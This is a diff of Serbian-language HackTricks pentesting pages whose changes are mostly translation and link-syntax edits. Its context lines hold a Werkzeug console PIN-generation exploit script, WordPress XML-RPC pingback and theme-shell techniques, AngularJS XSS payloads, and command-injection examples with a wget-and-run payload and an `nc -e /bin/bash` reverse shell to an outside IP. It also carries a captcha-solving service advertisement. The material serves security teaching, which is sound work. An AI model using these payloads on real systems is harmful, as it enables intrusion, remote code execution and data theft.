U nekim slučajevima, **`/console`** krajnja tačka će biti zaštićena PIN-om. Ako imate **ranjivost u pretrazi datoteka**, možete otkriti sve potrebne informacije za generisanje tog PIN-a.
|
||||
U nekim slučajevima, **`/console`** krajnja tačka će biti zaštićena PIN-om. Ako imate **ranjivost u prelazu datoteka**, možete otkriti sve potrebne informacije za generisanje tog PIN-a.
|
||||
|
||||
### Werkzeug Console PIN Eksploit
|
||||
|
||||
@ -25,7 +24,7 @@ The console is locked and needs to be unlocked by entering the PIN.
|
||||
You can find the PIN printed out on the standard output of your
|
||||
shell that runs the server
|
||||
```
|
||||
Poruka u vezi sa scenarijom "konzola zaključana" se pojavljuje kada se pokušava pristupiti Werkzeug-ovom debug interfejsu, što ukazuje na potrebu za PIN-om za otključavanje konzole. Predlaže se da se iskoristi konzolni PIN analizom algoritma za generisanje PIN-a u Werkzeug-ovom inicijalizacionom fajlu (`__init__.py`). Mehanizam generisanja PIN-a može se proučiti iz [**Werkzeug source code repository**](https://github.com/pallets/werkzeug/blob/master/src/werkzeug/debug/__init__.py), iako se savetuje da se pribavi stvarni kod servera putem ranjivosti u pretraživanju fajlova zbog mogućih razlika u verzijama.
|
||||
Poruka u vezi sa scenarijom "konzola zaključana" se pojavljuje kada se pokušava pristupiti Werkzeug-ovom debug interfejsu, što ukazuje na potrebu za PIN-om za otključavanje konzole. Predlaže se da se iskoristi konzolni PIN analizom algoritma za generisanje PIN-a u Werkzeug-ovom inicijalizacionom fajlu (`__init__.py`). Mehanizam generisanja PIN-a može se proučiti iz [**Werkzeug source code repository**](https://github.com/pallets/werkzeug/blob/master/src/werkzeug/debug/__init__.py), iako se savetuje da se stvarni kod servera pribavi putem ranjivosti u pretraživanju fajlova zbog mogućih razlika u verzijama.
|
||||
|
||||
Da bi se iskoristio konzolni PIN, potrebna su dva skupa varijabli, `probably_public_bits` i `private_bits`:
|
||||
|
||||
@ -40,7 +39,7 @@ Da bi se iskoristio konzolni PIN, potrebna su dva skupa varijabli, `probably_pub
|
||||
|
||||
- **`uuid.getnode()`**: Dohvata MAC adresu trenutne mašine, pri čemu `str(uuid.getnode())` prevodi u decimalni format.
|
||||
|
||||
- Da bi se **odredila MAC adresa servera**, potrebno je identifikovati aktivni mrežni interfejs koji koristi aplikacija (npr., `ens3`). U slučajevima nesigurnosti, **procurite `/proc/net/arp`** da biste pronašli ID uređaja, zatim **izvucite MAC adresu** iz **`/sys/class/net/<device id>/address`**.
|
||||
- Da bi se **odredila MAC adresa servera**, potrebno je identifikovati aktivni mrežni interfejs koji koristi aplikacija (npr., `ens3`). U slučajevima nesigurnosti, **procurite `/proc/net/arp`** da pronađete ID uređaja, zatim **izvucite MAC adresu** iz **`/sys/class/net/<device id>/address`**.
|
||||
- Konverzija heksadecimalne MAC adrese u decimalnu može se izvršiti kao što je prikazano u nastavku:
|
||||
|
||||
```python
|
||||
@ -49,11 +48,11 @@ Da bi se iskoristio konzolni PIN, potrebna su dva skupa varijabli, `probably_pub
|
||||
94558041547692
|
||||
```
|
||||
|
||||
- **`get_machine_id()`**: Spaja podatke iz `/etc/machine-id` ili `/proc/sys/kernel/random/boot_id` sa prvom linijom `/proc/self/cgroup` posle poslednjeg kosa (`/`).
|
||||
- **`get_machine_id()`**: Spaja podatke iz `/etc/machine-id` ili `/proc/sys/kernel/random/boot_id` sa prvom linijom iz `/proc/self/cgroup` posle poslednjeg kosa (`/`).
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Kod za `get_machine_id()`</summary>
|
||||
<summary>Code for `get_machine_id()`</summary>
|
||||
```python
|
||||
def get_machine_id() -> t.Optional[t.Union[str, bytes]]:
|
||||
global _machine_id
|
||||
@ -93,9 +92,9 @@ try:
|
||||
```
|
||||
</details>
|
||||
|
||||
Kada se prikupe svi potrebni podaci, eksploatacijski skript se može izvršiti da generiše Werkzeug konzolni PIN:
|
||||
Kada se prikupe svi potrebni podaci, skripta za eksploataciju može biti izvršena da generiše Werkzeug konzolni PIN:
|
||||
|
||||
Kada se prikupe svi potrebni podaci, eksploatacijski skript se može izvršiti da generiše Werkzeug konzolni PIN. Skript koristi sastavljene `probably_public_bits` i `private_bits` da kreira hash, koji zatim prolazi kroz dalju obradu kako bi se dobio konačni PIN. Ispod je Python kod za izvršavanje ovog procesa:
|
||||
Kada se prikupe svi potrebni podaci, skripta za eksploataciju može biti izvršena da generiše Werkzeug konzolni PIN. Skripta koristi sastavljene `probably_public_bits` i `private_bits` da kreira heš, koji zatim prolazi kroz dalju obradu kako bi proizveo konačni PIN. Ispod je Python kod za izvršavanje ovog procesa:
|
||||
```python
|
||||
import hashlib
|
||||
from itertools import chain
|
||||
@ -144,7 +143,7 @@ print(rv)
|
||||
Ovaj skript proizvodi PIN tako što hešira spojene bitove, dodaje specifične soli (`cookiesalt` i `pinsalt`), i formatira izlaz. Važno je napomenuti da se stvarne vrednosti za `probably_public_bits` i `private_bits` moraju tačno dobiti iz ciljanog sistema kako bi se osiguralo da generisani PIN odgovara onom koji očekuje Werkzeug konzola.
|
||||
|
||||
> [!TIP]
|
||||
> Ako ste na **staroj verziji** Werkzeug-a, pokušajte da promenite **heš algoritam na md5** umesto sha1.
|
||||
> Ako ste na **starijoj verziji** Werkzeug-a, pokušajte da promenite **heš algoritam na md5** umesto sha1.
|
||||
|
||||
## Werkzeug Unicode karakteri
|
||||
|
||||
@ -154,7 +153,9 @@ To je zato što je u Werkzeug-u moguće poslati neke **Unicode** karaktere i to
|
||||
|
||||
## Automatizovana Eksploatacija
|
||||
|
||||
{% embed url="https://github.com/Ruulian/wconsole_extractor" %}
|
||||
{{#ref}}
|
||||
https://github.com/Ruulian/wconsole_extractor
|
||||
{{#endref}}
|
||||
|
||||
## Reference
|
||||
|
||||
@ -163,5 +164,4 @@ To je zato što je u Werkzeug-u moguće poslati neke **Unicode** karaktere i to
|
||||
- [**https://github.com/pallets/werkzeug/issues/2833**](https://github.com/pallets/werkzeug/issues/2833)
|
||||
- [**https://mizu.re/post/twisty-python**](https://mizu.re/post/twisty-python)
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -7,9 +7,9 @@
|
||||
- **Uploaded** datoteke idu na: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
|
||||
- **Teme se mogu naći u /wp-content/themes/,** tako da ako promenite neki php u temi da biste dobili RCE, verovatno ćete koristiti taj put. Na primer: Koristeći **temu twentytwelve** možete **pristupiti** **404.php** datoteci u: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
|
||||
- **Još jedan koristan URL može biti:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
- **Još jedna korisna adresa može biti:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
|
||||
- U **wp-config.php** možete pronaći root lozinku baze podataka.
|
||||
- U **wp-config.php** možete pronaći lozinku za root korisnika baze podataka.
|
||||
- Podrazumevani putanje za prijavu koje treba proveriti: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
|
||||
|
||||
### **Glavne WordPress datoteke**
|
||||
@ -79,9 +79,9 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp
|
||||
```
|
||||
## Aktivna enumeracija
|
||||
|
||||
### Plugin-i i Teme
|
||||
### Pluginovi i teme
|
||||
|
||||
Verovatno nećete moći da pronađete sve moguće Plugin-e i Teme. Da biste otkrili sve njih, biće vam potrebno da **aktivno Brute Force-ujete listu Plugin-a i Tema** (nadamo se da postoje automatski alati koji sadrže ove liste).
|
||||
Verovatno nećete moći da pronađete sve moguće Pluginove i teme. Da biste otkrili sve njih, biće vam potrebno da **aktivno Brute Force-ujete listu Pluginova i tema** (na sreću, postoje automatski alati koji sadrže ove liste).
|
||||
|
||||
### Korisnici
|
||||
|
||||
@ -179,7 +179,7 @@ Ova metoda je namenjena programima, a ne ljudima, i stara je, stoga ne podržava
|
||||
**DDoS ili skeniranje portova**
|
||||
|
||||
Ako možete pronaći metodu _**pingback.ping**_ unutar liste, možete naterati Wordpress da pošalje proizvoljan zahtev bilo kom hostu/portu.\
|
||||
Ovo se može koristiti da se zatraži **hiljade** Wordpress **sajtova** da **pristupe** jednoj **lokaciji** (tako da se izazove **DDoS** na toj lokaciji) ili možete to koristiti da naterate **Wordpress** da **skanira** neku internu **mrežu** (možete naznačiti bilo koji port).
|
||||
Ovo se može koristiti da se zatraži **hiljade** Wordpress **sajtova** da **pristupe** jednoj **lokaciji** (tako da se izazove **DDoS** u toj lokaciji) ili možete to koristiti da naterate **Wordpress** da **skanira** neku internu **mrežu** (možete naznačiti bilo koji port).
|
||||
```markup
|
||||
<methodCall>
|
||||
<methodName>pingback.ping</methodName>
|
||||
@ -225,7 +225,9 @@ Ovo je odgovor kada ne funkcioniše:
|
||||
|
||||
## SSRF
|
||||
|
||||
{% embed url="https://github.com/t0gu/quickpress/blob/master/core/requests.go" %}
|
||||
{{#ref}}
|
||||
https://github.com/t0gu/quickpress/blob/master/core/requests.go
|
||||
{{#endref}}
|
||||
|
||||
Ovaj alat proverava da li **methodName: pingback.ping** postoji za putanju **/wp-json/oembed/1.0/proxy** i ako postoji, pokušava da ih iskoristi.
|
||||
|
||||
@ -246,7 +248,7 @@ return new WP_Error(
|
||||
|
||||
**Modifikovanje php iz teme koja se koristi (potrebne admin kredencijale)**
|
||||
|
||||
Izgled → Uređivač tema → 404 Šablon (s desne strane)
|
||||
Izgled → Urednik teme → 404 Šablon (s desne strane)
|
||||
|
||||
Promenite sadržaj za php shell:
|
||||
|
||||
@ -302,7 +304,7 @@ Ova metoda uključuje instalaciju malicioznog plugina za koji se zna da je ranji
|
||||
3. **Aktivacija plugina**: Kada je plugin uspešno instaliran, mora se aktivirati kroz kontrolnu tablu.
|
||||
4. **Eksploatacija**:
|
||||
- Sa instaliranim i aktiviranim pluginom "reflex-gallery", može se iskoristiti jer je poznato da je ranjiv.
|
||||
- Metasploit framework pruža exploit za ovu ranjivost. Učitajte odgovarajući modul i izvršite specifične komande da biste uspostavili meterpreter sesiju, što omogućava neovlašćen pristup sajtu.
|
||||
- Metasploit framework pruža exploit za ovu ranjivost. Učitajte odgovarajući modul i izvršite specifične komande, može se uspostaviti meterpreter sesija, što omogućava neovlašćen pristup sajtu.
|
||||
- Napominje se da je ovo samo jedna od mnogih metoda za eksploataciju WordPress sajta.
|
||||
|
||||
Sadržaj uključuje vizuelne prikaze koji prikazuju korake u WordPress kontrolnoj tabli za instalaciju i aktivaciju plugina. Međutim, važno je napomenuti da je eksploatacija ranjivosti na ovaj način ilegalna i neetična bez odgovarajuće dozvole. Ove informacije treba koristiti odgovorno i samo u legalnom kontekstu, kao što je pentesting sa izričitom dozvolom.
|
||||
@ -316,7 +318,7 @@ Sadržaj uključuje vizuelne prikaze koji prikazuju korake u WordPress kontrolno
|
||||
- _**(RCE) Upload prilagođenog plugina (backdoor):**_ Uploadujte svoj prilagođeni plugin (backdoor) u WordPress.
|
||||
- _**(RCE) Uređivanje ugrađenog plugina:**_ Uredite ugrađene plugine u WordPress-u.
|
||||
- _**(RCE) Uređivanje ugrađene teme:**_ Uredite ugrađene teme u WordPress-u.
|
||||
- _**(Prilagođeno) Prilagođeni exploit-i:**_ Prilagođeni exploit-i za treće strane WordPress plugine/teme.
|
||||
- _**(Prilagođeno) Prilagođeni eksploati:**_ Prilagođeni eksploati za treće strane WordPress plugine/teme.
|
||||
|
||||
## Post Eksploatacija
|
||||
|
||||
@ -336,7 +338,7 @@ Znanje o tome kako Wordpress dodatak može izložiti funkcionalnost je ključno
|
||||
|
||||
- **`wp_ajax`** 
|
||||
|
||||
Jedan od načina na koji dodatak može izložiti funkcije korisnicima je putem AJAX handlera. Ovi handleri mogu sadržati logiku, greške u autorizaciji ili autentifikaciji. Štaviše, prilično je često da će ove funkcije zasnivati i autentifikaciju i autorizaciju na postojanju Wordpress nonce-a koji **bilo koji korisnik autentifikovan u Wordpress instanci može imati** (nezavisno od njegove uloge).
|
||||
Jedan od načina na koji dodatak može izložiti funkcije korisnicima je putem AJAX handlera. Ovi handleri mogu sadržati logiku, greške u autorizaciji ili autentifikaciji. Štaviše, često se dešava da će ove funkcije zasnivati i autentifikaciju i autorizaciju na postojanju Wordpress nonce-a koji **bilo koji korisnik autentifikovan u Wordpress instanci može imati** (nezavisno od njegove uloge).
|
||||
|
||||
Ovo su funkcije koje se mogu koristiti za izlaganje funkcije u dodatku:
|
||||
```php
|
||||
@ -362,7 +364,7 @@ $this->namespace, '/get/', array(
|
||||
```
|
||||
`permission_callback` je povratna funkcija koja proverava da li je dati korisnik ovlašćen da pozove API metodu.
|
||||
|
||||
**Ako se koristi ugrađena funkcija `__return_true`, jednostavno će preskočiti proveru dozvola korisnika.**
|
||||
**Ako se koristi ugrađena funkcija `__return_true`, jednostavno će preskočiti proveru korisničkih dozvola.**
|
||||
|
||||
- **Direktan pristup php datoteci**
|
||||
|
||||
|
@ -2,37 +2,36 @@
|
||||
|
||||
{{#include ./banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
### Host header
|
||||
|
||||
Više puta back-end veruje **Host header** da izvrši neke akcije. Na primer, može koristiti njegovu vrednost kao **domen za slanje resetovanja lozinke**. Tako kada primite email sa linkom za resetovanje lozinke, domen koji se koristi je onaj koji ste stavili u Host header. Tada možete zatražiti resetovanje lozinke drugih korisnika i promeniti domen na onaj koji kontrolišete kako biste ukrali njihove kodove za resetovanje lozinke. [WriteUp](https://medium.com/nassec-cybersecurity-writeups/how-i-was-able-to-take-over-any-users-account-with-host-header-injection-546fff6d0f2).
|
||||
Nekoliko puta back-end veruje **Host header** da izvrši neke radnje. Na primer, može koristiti njegovu vrednost kao **domen za slanje resetovanja lozinke**. Tako kada primite email sa linkom za resetovanje lozinke, domen koji se koristi je onaj koji ste stavili u Host header. Tada možete zatražiti resetovanje lozinke drugih korisnika i promeniti domen na onaj koji kontrolišete kako biste ukrali njihove kodove za resetovanje lozinke. [WriteUp](https://medium.com/nassec-cybersecurity-writeups/how-i-was-able-to-take-over-any-users-account-with-host-header-injection-546fff6d0f2).
|
||||
|
||||
> [!WARNING]
|
||||
> Imajte na umu da je moguće da ne morate ni da čekate da korisnik klikne na link za resetovanje lozinke da biste dobili token, jer možda čak i **spam filteri ili drugi posrednički uređaji/botovi će kliknuti na njega da ga analiziraju**.
|
||||
|
||||
|
||||
### Session booleans
|
||||
|
||||
Nekada kada ispravno završite neku verifikaciju, back-end će **samo dodati boolean sa vrednošću "True" u sigurnosnu atribut vaše sesije**. Tada, druga tačka će znati da ste uspešno prošli tu proveru.\
|
||||
Nekada kada ispravno završite neku verifikaciju, back-end će **samo dodati boolean sa vrednošću "True" u sigurnosni atribut vaše sesije**. Tada će druga tačka znati da ste uspešno prošli tu proveru.\
|
||||
Međutim, ako **prođete proveru** i vašoj sesiji je dodeljena ta "True" vrednost u sigurnosnom atributu, možete pokušati da **pristupite drugim resursima** koji **zavise od istog atributa** ali za koje **ne biste trebali imati dozvole** za pristup. [WriteUp](https://medium.com/@ozguralp/a-less-known-attack-vector-second-order-idor-attacks-14468009781a).
|
||||
|
||||
### Register functionality
|
||||
### Registracija funkcionalnosti
|
||||
|
||||
Pokušajte da se registrujete kao već postojeći korisnik. Takođe pokušajte koristiti ekvivalentne karaktere (tačke, puno razmaka i Unicode).
|
||||
|
||||
### Takeover emails
|
||||
### Preuzimanje emailova
|
||||
|
||||
Registrujte email, pre nego što ga potvrdite promenite email, zatim, ako je novi email za potvrdu poslat na prvi registrovani email, možete preuzeti bilo koji email. Ili ako možete omogućiti drugi email koji potvrđuje prvi, takođe možete preuzeti bilo koji nalog.
|
||||
|
||||
### Access Internal servicedesk of companies using atlassian
|
||||
### Pristup internom servisnom stolu kompanija koristeći atlassian
|
||||
|
||||
{% embed url="https://yourcompanyname.atlassian.net/servicedesk/customer/user/login" %}
|
||||
{{#ref}}
|
||||
https://yourcompanyname.atlassian.net/servicedesk/customer/user/login
|
||||
{{#endref}}
|
||||
|
||||
### TRACE method
|
||||
### TRACE metoda
|
||||
|
||||
Programeri mogu zaboraviti da onemoguće razne opcije za debagovanje u produkcionom okruženju. Na primer, HTTP `TRACE` metoda je dizajnirana za dijagnostičke svrhe. Ako je omogućena, web server će odgovoriti na zahteve koji koriste `TRACE` metodu tako što će u odgovoru ponoviti tačan zahtev koji je primljen. Ovo ponašanje je često bezopasno, ali povremeno dovodi do otkrivanja informacija, kao što su imena internih autentifikacionih zaglavlja koja mogu biti dodata zahtevima od strane obrnjenih proksija.
|
||||
|
||||

|
||||
|
||||
|
||||
{{#include ./banners/hacktricks-training.md}}
|
||||
|
@ -4,7 +4,7 @@
|
||||
|
||||
## Bypass Captcha
|
||||
|
||||
Da bi se **zaobišao** captcha tokom **testiranja servera** i automatizovale funkcije unosa korisnika, mogu se primeniti različite tehnike. Cilj nije da se potkopa sigurnost, već da se pojednostavi proces testiranja. Evo sveobuhvatne liste strategija:
|
||||
Da bi se **zaobišao** captcha tokom **testiranja servera** i automatizovale funkcije unosa korisnika, mogu se primeniti različite tehnike. Cilj nije da se potkopa bezbednost, već da se pojednostavi proces testiranja. Evo sveobuhvatne liste strategija:
|
||||
|
||||
1. **Manipulacija parametrima**:
|
||||
- **Izostavi Captcha Parametar**: Izbegavajte slanje captcha parametra. Eksperimentišite sa promenom HTTP metode sa POST na GET ili druge glagole, i menjajte format podataka, kao što je prelazak između form data i JSON.
|
||||
@ -12,7 +12,7 @@ Da bi se **zaobišao** captcha tokom **testiranja servera** i automatizovale fun
|
||||
2. **Ekstrakcija i Ponovna Upotreba Vrednosti**:
|
||||
- **Inspekcija Izvora Koda**: Pretražujte captcha vrednost unutar izvornog koda stranice.
|
||||
- **Analiza Kolačića**: Istražite kolačiće da biste saznali da li je captcha vrednost sačuvana i ponovo korišćena.
|
||||
- **Ponovna Upotreba Starih Captcha Vrednosti**: Pokušajte ponovo da koristite prethodno uspešne captcha vrednosti. Imajte na umu da mogu isteći u bilo kojem trenutku.
|
||||
- **Ponovna Upotreba Starih Captcha Vrednosti**: Pokušajte ponovo da koristite prethodno uspešne captcha vrednosti. Imajte na umu da one mogu isteći u bilo kojem trenutku.
|
||||
- **Manipulacija Sesijom**: Pokušajte koristiti istu captcha vrednost kroz različite sesije ili isti ID sesije.
|
||||
3. **Automatizacija i Prepoznavanje**:
|
||||
- **Matematički Captcha**: Ako captcha uključuje matematičke operacije, automatizujte proces izračunavanja.
|
||||
@ -21,17 +21,19 @@ Da bi se **zaobišao** captcha tokom **testiranja servera** i automatizovale fun
|
||||
- Koristite alate za optičko prepoznavanje karaktera (OCR) kao što je [Tesseract OCR](https://github.com/tesseract-ocr/tesseract) za automatizaciju čitanja karaktera sa slika.
|
||||
4. **Dodatne Tehnike**:
|
||||
- **Testiranje Ograničenja Brzine**: Proverite da li aplikacija ograničava broj pokušaja ili podnošenja u datom vremenskom okviru i da li se ovo ograničenje može zaobići ili resetovati.
|
||||
- **Usluge Trećih Strana**: Koristite usluge ili API-je za rešavanje captche koje nude automatsko prepoznavanje i rešavanje captche.
|
||||
- **Usluge Trećih Strana**: Koristite usluge ili API-je za rešavanje captcha koje nude automatsko prepoznavanje i rešavanje captchi.
|
||||
- **Rotacija Sesija i IP Adresa**: Često menjajte ID sesija i IP adrese kako biste izbegli otkrivanje i blokiranje od strane servera.
|
||||
- **Manipulacija User-Agent i Header-a**: Menjajte User-Agent i druge zaglavlja zahteva kako biste oponašali različite pretraživače ili uređaje.
|
||||
- **Manipulacija User-Agent i Header-ima**: Menjajte User-Agent i druge zaglavlja zahteva kako biste oponašali različite pretraživače ili uređaje.
|
||||
- **Analiza Audio Captcha**: Ako je dostupna opcija audio captcha, koristite usluge pretvaranja govora u tekst kako biste interpretirali i rešavali captcha.
|
||||
|
||||
## Online Usluge za rešavanje captche
|
||||
## Online Usluge za rešavanje captchi
|
||||
|
||||
### [CapSolver](https://www.capsolver.com/?utm_source=google&utm_medium=ads&utm_campaign=scraping&utm_term=hacktricks&utm_content=captchabypass)
|
||||
|
||||
[**CapSolver**](https://www.capsolver.com/?utm_source=google&utm_medium=ads&utm_campaign=scraping&utm_term=hacktricks&utm_content=captchabypass) je usluga pokretana veštačkom inteligencijom koja se specijalizovala za automatsko rešavanje različitih tipova captche, olakšavajući prikupljanje podataka pomažući programerima da lako prevaziđu izazove captche tokom Web Scraping-a. Podržava captche kao što su **reCAPTCHA V2, reCAPTCHA V3, DataDome, AWS Captcha, Geetest, i Cloudflare turnstile među ostalima**. Za programere, Capsolver nudi opcije integracije API-ja detaljno opisane u [**dokumentaciji**](https://docs.capsolver.com/?utm_source=github&utm_medium=banner_github&utm_campaign=fcsrv)**,** olakšavajući integraciju rešavanja captche u aplikacije. Takođe pružaju ekstenzije za pretraživače za [Chrome](https://chromewebstore.google.com/detail/captcha-solver-auto-captc/pgojnojmmhpofjgdmaebadhbocahppod) i [Firefox](https://addons.mozilla.org/es/firefox/addon/capsolver-captcha-solver/), olakšavajući korišćenje njihove usluge direktno unutar pretraživača. Različiti paketi cena su dostupni kako bi se prilagodili različitim potrebama, obezbeđujući fleksibilnost za korisnike.
|
||||
[**CapSolver**](https://www.capsolver.com/?utm_source=google&utm_medium=ads&utm_campaign=scraping&utm_term=hacktricks&utm_content=captchabypass) je usluga pokretana veštačkom inteligencijom koja se specijalizovala za automatsko rešavanje različitih tipova captchi, olakšavajući prikupljanje podataka pomažući programerima da lako prevaziđu izazove captchi tokom Web Scraping-a. Podržava captche kao što su **reCAPTCHA V2, reCAPTCHA V3, DataDome, AWS Captcha, Geetest, i Cloudflare turnstile među ostalima**. Za programere, Capsolver nudi opcije integracije API-ja detaljno opisane u [**dokumentaciji**](https://docs.capsolver.com/?utm_source=github&utm_medium=banner_github&utm_campaign=fcsrv)**,** olakšavajući integraciju rešavanja captchi u aplikacije. Takođe pružaju ekstenzije za pretraživače za [Chrome](https://chromewebstore.google.com/detail/captcha-solver-auto-captc/pgojnojmmhpofjgdmaebadhbocahppod) i [Firefox](https://addons.mozilla.org/es/firefox/addon/capsolver-captcha-solver/), olakšavajući korišćenje njihove usluge direktno unutar pretraživača. Različiti paketi cena su dostupni kako bi se prilagodili različitim potrebama, obezbeđujući fleksibilnost za korisnike.
|
||||
|
||||
{% embed url="https://www.capsolver.com/?utm_campaign=scraping&utm_content=captchabypass&utm_medium=ads&utm_source=google&utm_term=hacktricks" %}
|
||||
{{#ref}}
|
||||
https://www.capsolver.com/?utm_campaign=scraping&utm_content=captchabypass&utm_medium=ads&utm_source=google&utm_term=hacktricks
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -2,7 +2,6 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## Summary
|
||||
|
||||
To je kao [**Server Side Template Injection**](ssti-server-side-template-injection/) ali u **klijentu**. **SSTI** može omogućiti **izvršavanje koda** na udaljenom serveru, dok **CSTI** može omogućiti **izvršavanje proizvoljnog JavaScript** koda u pretraživaču žrtve.
|
||||
@ -24,8 +23,7 @@ U scenarijima gde se korisnički unos dinamički ubacuje u HTML telo označeno s
|
||||
```
|
||||
Možete pronaći vrlo **osnovni online primer** ranjivosti u **AngularJS** na [http://jsfiddle.net/2zs2yv7o/](http://jsfiddle.net/2zs2yv7o/) i u [**Burp Suite Academy**](https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-angularjs-expression)
|
||||
|
||||
> [!CAUTION]
|
||||
> [**Angular 1.6 je uklonio sandbox**](http://blog.angularjs.org/2016/09/angular-16-expression-sandbox-removal.html) tako da od ove verzije payload poput `{{constructor.constructor('alert(1)')()}}` ili `<input ng-focus=$event.view.alert('XSS')>` treba da radi.
|
||||
> [!CAUTION] > [**Angular 1.6 je uklonio sandbox**](http://blog.angularjs.org/2016/09/angular-16-expression-sandbox-removal.html) tako da od ove verzije payload poput `{{constructor.constructor('alert(1)')()}}` ili `<input ng-focus=$event.view.alert('XSS')>` treba da radi.
|
||||
|
||||
## VueJS
|
||||
|
||||
@ -73,7 +71,8 @@ javascript:alert(1)%252f%252f..%252fcss-images
|
||||
|
||||
## **Lista za detekciju brute-force-a**
|
||||
|
||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -2,7 +2,6 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## Šta je injekcija komandi?
|
||||
|
||||
**Injekcija komandi** omogućava izvršavanje proizvoljnih komandi operativnog sistema od strane napadača na serveru koji hostuje aplikaciju. Kao rezultat, aplikacija i svi njeni podaci mogu biti potpuno kompromitovani. Izvršavanje ovih komandi obično omogućava napadaču da dobije neovlašćen pristup ili kontrolu nad okruženjem aplikacije i osnovnim sistemom.
|
||||
@ -30,15 +29,15 @@ ls${LS_COLORS:10:1}${IFS}id # Might be useful
|
||||
> /var/www/html/out.txt #Try to redirect the output to a file
|
||||
< /etc/passwd #Try to send some input to the command
|
||||
```
|
||||
### **Limitation** Bypasses
|
||||
### **Obilaženje** Ograničenja
|
||||
|
||||
Ako pokušavate da izvršite **arbitrarne komande unutar linux mašine** biće vam zanimljivo da pročitate o ovim **Bypasses:**
|
||||
Ako pokušavate da izvršite **arbitrarne komande unutar linux mašine** biće vam zanimljivo da pročitate o ovim **Obilaženjima:**
|
||||
|
||||
{{#ref}}
|
||||
../linux-hardening/bypass-bash-restrictions/
|
||||
{{#endref}}
|
||||
|
||||
### **Primjeri**
|
||||
### **Primeri**
|
||||
```
|
||||
vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php
|
||||
vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80
|
||||
@ -76,7 +75,7 @@ Evo 25 najvažnijih parametara koji bi mogli biti podložni injekciji koda i sli
|
||||
```
|
||||
### Ekstrakcija podataka zasnovana na vremenu
|
||||
|
||||
Ekstrakcija podataka: znak po znak
|
||||
Ekstrakcija podataka: karakter po karakter
|
||||
```
|
||||
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
|
||||
real 0m5.007s
|
||||
@ -120,7 +119,9 @@ powershell C:**2\n??e*d.*? # notepad
|
||||
|
||||
## Lista za detekciju Brute-Force
|
||||
|
||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt" %}
|
||||
{{#ref}}
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt
|
||||
{{#endref}}
|
||||
|
||||
## Reference
|
||||
|
||||
|
@ -2,11 +2,9 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
### CRLF
|
||||
|
||||
Povratak karlice (CR) i novi red (LF), zajedno poznati kao CRLF, su posebne sekvence karaktera koje se koriste u HTTP protokolu za označavanje kraja reda ili početka novog. Web serveri i pregledači koriste CRLF da razlikuju između HTTP zaglavlja i tela odgovora. Ovi karakteri se univerzalno koriste u HTTP/1.1 komunikacijama širom različitih tipova web servera, kao što su Apache i Microsoft IIS.
|
||||
Carriage Return (CR) i Line Feed (LF), kolektivno poznati kao CRLF, su posebne sekvence karaktera koje se koriste u HTTP protokolu za označavanje kraja reda ili početka novog. Web serveri i pregledači koriste CRLF da razlikuju između HTTP zaglavlja i tela odgovora. Ovi karakteri se univerzalno koriste u HTTP/1.1 komunikacijama širom različitih tipova web servera, kao što su Apache i Microsoft IIS.
|
||||
|
||||
### CRLF Injection Vulnerability
|
||||
|
||||
@ -16,7 +14,7 @@ CRLF injekcija uključuje umetanje CR i LF karaktera u korisnički uneti podatak
|
||||
|
||||
[Example from here](https://www.invicti.com/blog/web-security/crlf-http-header/)
|
||||
|
||||
Razmotrite log fajl u administratorskom panelu koji prati format: `IP - Vreme - Posetena Staza`. Tipičan unos može izgledati ovako:
|
||||
Razmotrite log fajl u admin panelu koji prati format: `IP - Vreme - Posetena Staza`. Tipičan unos može izgledati ovako:
|
||||
```
|
||||
123.123.123.123 - 08:15 - /index.php?page=home
|
||||
```
|
||||
@ -31,7 +29,7 @@ IP - Time - Visited Path
|
||||
123.123.123.123 - 08:15 - /index.php?page=home&
|
||||
127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit
|
||||
```
|
||||
Napadač tako prikriva svoje zlonamerne aktivnosti tako što izgleda kao da je localhost (entitet koji se obično smatra pouzdanim unutar server okruženja) izvršio radnje. Server interpretira deo upita koji počinje sa `%0d%0a` kao jedan parametar, dok se parametar `restrictedaction` analizira kao drugi, odvojen unos. Manipulisani upit efikasno oponaša legitimnu administrativnu komandu: `/index.php?page=home&restrictedaction=edit`
|
||||
Napadač tako prikriva svoje zlonamerne aktivnosti tako što izgleda kao da je localhost (entitet koji se obično smatra pouzdanim unutar server okruženja) izvršio radnje. Server interpretira deo upita koji počinje sa `%0d%0a` kao jedan parametar, dok se parametar `restrictedaction` obrađuje kao drugi, odvojen unos. Manipulisani upit efikasno oponaša legitimnu administrativnu komandu: `/index.php?page=home&restrictedaction=edit`
|
||||
|
||||
### HTTP Response Splitting
|
||||
|
||||
@ -45,7 +43,7 @@ HTTP Response Splitting je sigurnosna ranjivost koja nastaje kada napadač iskor
|
||||
